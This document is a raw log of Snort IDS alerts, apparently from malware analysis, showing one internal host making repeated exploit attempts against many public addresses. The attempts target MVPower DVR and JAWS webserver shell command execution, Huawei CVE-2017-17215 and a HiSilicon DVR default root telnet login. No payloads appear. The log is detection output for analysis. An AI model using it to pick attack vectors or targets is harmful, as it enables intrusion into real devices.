Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:45094 -> 78.186.205.237:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:50854 -> 116.162.161.24:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:37710 -> 34.197.77.7:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:51272 -> 23.32.127.47:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:51272 -> 23.32.127.47:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:37710 -> 34.197.77.7:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60834 -> 104.21.27.15:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60834 -> 104.21.27.15:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:58596 -> 103.101.153.183:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:58596 -> 103.101.153.183:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60148 -> 47.24.170.124:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60148 -> 47.24.170.124:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59100 -> 103.121.18.245:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59100 -> 103.121.18.245:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:58264 -> 119.45.178.155:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:58264 -> 119.45.178.155:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:53880 -> 204.116.176.183:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:57492 -> 52.0.203.213:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:43730 -> 198.199.59.134:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:42208 -> 44.240.57.71:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:53880 -> 204.116.176.183:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:36192 -> 161.35.186.210:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:57492 -> 52.0.203.213:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:44050 -> 155.4.113.220:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:43730 -> 198.199.59.134:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:36192 -> 161.35.186.210:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:47768 -> 115.71.19.135:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:43978 -> 104.76.140.52:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:42208 -> 44.240.57.71:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:44050 -> 155.4.113.220:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:47768 -> 115.71.19.135:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:43978 -> 104.76.140.52:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:60214 -> 156.247.24.116:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:60214 -> 156.247.24.116:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:38024 -> 20.242.39.121:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:41544 -> 194.75.225.189:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:47818 -> 185.15.192.254:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:38024 -> 20.242.39.121:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:48806 -> 154.212.209.149:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:52516 -> 184.27.103.186:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:47818 -> 185.15.192.254:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:33064 -> 157.230.127.140:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:33064 -> 157.230.127.140:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:48806 -> 154.212.209.149:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:52516 -> 184.27.103.186:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:53960 -> 156.235.228.92:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:42670 -> 43.200.198.128:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:42670 -> 43.200.198.128:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:45496 -> 18.154.15.89:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:55724 -> 52.57.199.69:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60164 -> 91.232.74.20:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59838 -> 59.30.116.40:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:45496 -> 18.154.15.89:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:55724 -> 52.57.199.69:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:58730 -> 23.205.52.170:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:50638 -> 52.6.35.159:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:49646 -> 34.126.229.54:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:58730 -> 23.205.52.170:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:50638 -> 52.6.35.159:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:49646 -> 34.126.229.54:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60164 -> 91.232.74.20:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59838 -> 59.30.116.40:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:56584 -> 13.126.159.214:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:48330 -> 128.59.28.147:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:48330 -> 128.59.28.147:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:56584 -> 13.126.159.214:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:40390 -> 41.80.32.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:40390 -> 41.80.32.93:37215
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:53960 -> 156.235.228.92:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:40234 -> 52.222.178.99:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:33632 -> 83.99.176.150:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:40234 -> 52.222.178.99:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:47576 -> 217.13.58.188:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:33632 -> 83.99.176.150:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:47576 -> 217.13.58.188:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:37936 -> 147.255.147.103:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:43424 -> 52.34.187.205:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:45526 -> 18.161.198.98:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:37936 -> 147.255.147.103:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:43424 -> 52.34.187.205:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:36628 -> 23.75.211.230:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:45526 -> 18.161.198.98:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:36628 -> 23.75.211.230:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:51604 -> 23.208.231.3:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:36274 -> 52.55.75.181:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:40392 -> 34.233.37.223:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:49220 -> 108.59.3.120:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:35040 -> 118.89.68.235:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:36274 -> 52.55.75.181:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:40392 -> 34.233.37.223:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:49220 -> 108.59.3.120:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:51604 -> 23.208.231.3:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:38784 -> 172.105.241.4:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:35040 -> 118.89.68.235:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:38784 -> 172.105.241.4:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:42166 -> 20.85.85.62:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:45900 -> 64.23.172.171:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:56846 -> 200.88.231.100:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:40130 -> 138.4.152.6:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60096 -> 178.84.9.227:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:42166 -> 20.85.85.62:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:44662 -> 184.27.253.172:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60096 -> 178.84.9.227:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:35146 -> 160.99.23.245:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:35146 -> 160.99.23.245:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:43030 -> 46.250.251.167:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:56064 -> 154.201.131.98:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:44662 -> 184.27.253.172:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:43030 -> 46.250.251.167:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:44814 -> 202.62.220.100:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:56064 -> 154.201.131.98:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:45900 -> 64.23.172.171:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:56846 -> 200.88.231.100:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:44814 -> 202.62.220.100:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:33452 -> 156.241.14.31:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:33452 -> 156.241.14.31:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:35074 -> 118.89.68.235:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:51824 -> 104.168.143.173:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60672 -> 212.16.87.79:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:34812 -> 37.53.56.73:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:38872 -> 34.49.241.18:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:33100 -> 23.42.119.230:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:51824 -> 104.168.143.173:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:52778 -> 89.32.145.164:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60672 -> 212.16.87.79:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:38872 -> 34.49.241.18:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:56184 -> 188.94.248.176:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:34576 -> 164.92.198.46:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:35074 -> 118.89.68.235:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:34812 -> 37.53.56.73:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:52778 -> 89.32.145.164:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:33100 -> 23.42.119.230:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:56184 -> 188.94.248.176:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:34576 -> 164.92.198.46:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:49368 -> 13.211.32.130:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:49368 -> 13.211.32.130:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:47972 -> 23.43.197.49:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:47972 -> 23.43.197.49:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:48282 -> 207.23.179.76:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:58618 -> 116.205.75.203:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:56028 -> 18.229.108.40:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:56028 -> 18.229.108.40:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:58618 -> 116.205.75.203:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:43992 -> 69.192.211.5:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59396 -> 23.54.107.148:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:51034 -> 34.212.43.112:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:43992 -> 69.192.211.5:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59396 -> 23.54.107.148:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:51034 -> 34.212.43.112:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:40526 -> 156.241.10.222:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:40526 -> 156.241.10.222:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:39288 -> 107.10.38.11:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59740 -> 206.190.228.216:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:57820 -> 51.171.238.86:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:44316 -> 212.50.70.217:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:39288 -> 107.10.38.11:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59740 -> 206.190.228.216:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:53230 -> 63.35.173.53:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:57820 -> 51.171.238.86:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:44316 -> 212.50.70.217:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:53230 -> 63.35.173.53:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:52814 -> 172.104.7.204:80
Source: Traffic	Snort IDS: 2027973 ET EXPLOIT HiSilicon DVR - Default Telnet Root Password Inbound 192.168.2.15:39662 -> 85.87.113.10:23
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:43640 -> 34.242.169.70:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:51968 -> 52.36.184.249:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:45276 -> 104.23.101.28:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:52814 -> 172.104.7.204:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:45276 -> 104.23.101.28:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:56698 -> 150.60.7.143:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:41254 -> 104.16.13.138:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:43640 -> 34.242.169.70:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:51968 -> 52.36.184.249:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:41254 -> 104.16.13.138:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:47516 -> 34.226.87.99:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:33974 -> 72.77.85.222:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:35474 -> 96.66.171.49:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:38208 -> 54.219.84.144:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:36842 -> 164.92.134.195:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:51318 -> 193.49.48.200:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:47516 -> 34.226.87.99:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:33974 -> 72.77.85.222:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:35474 -> 96.66.171.49:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:56698 -> 150.60.7.143:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:38208 -> 54.219.84.144:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:36842 -> 164.92.134.195:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:51318 -> 193.49.48.200:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:49982 -> 23.14.68.121:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:49296 -> 13.113.48.164:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:34408 -> 39.61.132.49:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:37622 -> 103.240.146.109:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:49982 -> 23.14.68.121:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:49296 -> 13.113.48.164:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:34408 -> 39.61.132.49:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:37622 -> 103.240.146.109:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:42956 -> 72.46.57.34:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:42956 -> 72.46.57.34:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:58338 -> 208.87.99.128:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:58338 -> 208.87.99.128:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:52678 -> 202.130.202.115:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59572 -> 101.178.248.87:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:47608 -> 124.223.47.85:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:52678 -> 202.130.202.115:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59572 -> 101.178.248.87:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:47608 -> 124.223.47.85:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:50684 -> 50.2.159.150:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:35320 -> 140.248.140.53:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:50684 -> 50.2.159.150:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:35320 -> 140.248.140.53:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:55944 -> 67.199.102.71:80
